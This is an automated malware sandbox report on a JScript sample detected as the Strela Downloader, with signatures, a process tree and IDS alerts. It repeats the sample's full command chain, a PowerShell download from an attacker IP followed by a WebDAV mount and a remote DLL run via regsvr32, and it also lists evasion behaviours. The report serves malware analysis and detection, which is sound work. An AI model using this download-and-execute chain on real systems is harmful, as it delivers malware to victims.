Edit tour

Windows Analysis Report
1528152952987120978.js

Overview

General Information

Sample name:	1528152952987120978.js
Analysis ID:	1588684
MD5:	8703ff88726d99c3c5789f727898c477
SHA1:	c2519072ac6a4200053d8210b13049ceb6e6d265
SHA256:	9f63e3701cd781a40cbb10e33cc5e2a67c28a6d25bf51a9689da47cf6122cd62
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7388 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7440 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8044 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,4726989255593052370,18027997004832673583,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7668 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7752 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7912 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7336	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7752, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7668, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7752, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7912, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7668, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7752, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll, ProcessId: 7388, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:10:30.218169+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:10:32.861484+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:10:30.218169+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1528152952987120978.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1528152952987120978.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:10:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

